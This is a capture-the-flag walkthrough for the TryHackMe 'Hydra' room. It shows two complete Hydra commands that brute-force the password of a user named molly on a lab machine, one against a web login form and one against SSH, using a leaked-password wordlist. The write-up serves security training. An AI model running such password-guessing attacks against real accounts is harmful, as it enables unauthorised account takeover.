> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/hydra.md).

# Hydra 

**Room Link:** <https://tryhackme.com/room/hydra>

## **Walkthrough**

**Use Hydra to brute force molly's web password. What is flag 1?**

Opened up the webconsole and tried entering the credentials to see what the request would look like. We can see the failed login attempt message and the fields used for login which we can used to craft our hydra command.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdAhytHzau0EvTIrSgbOA%2Fimage.png?alt=media&amp;token=5ba33511-2e19-452a-961d-74ff54dae291" alt=""><figcaption></figcaption></figure>

```
hydra -l molly -P /usr/share/wordlists/SecLists/Passwords/darkweb2017-top10000.txt 10.10.132.200 http-post-form "/login/:username=^USER^&password=^PASS^:F=incorrect" -V
```

**Use Hydra to bruteforce molly's SSH password. What is flag 2?**

```
hydra -l molly -P /usr/share/wordlists/SecLists/Passwords/darkweb2017-top10000.txt 10.10.132.200 -t 4 ssh -V
```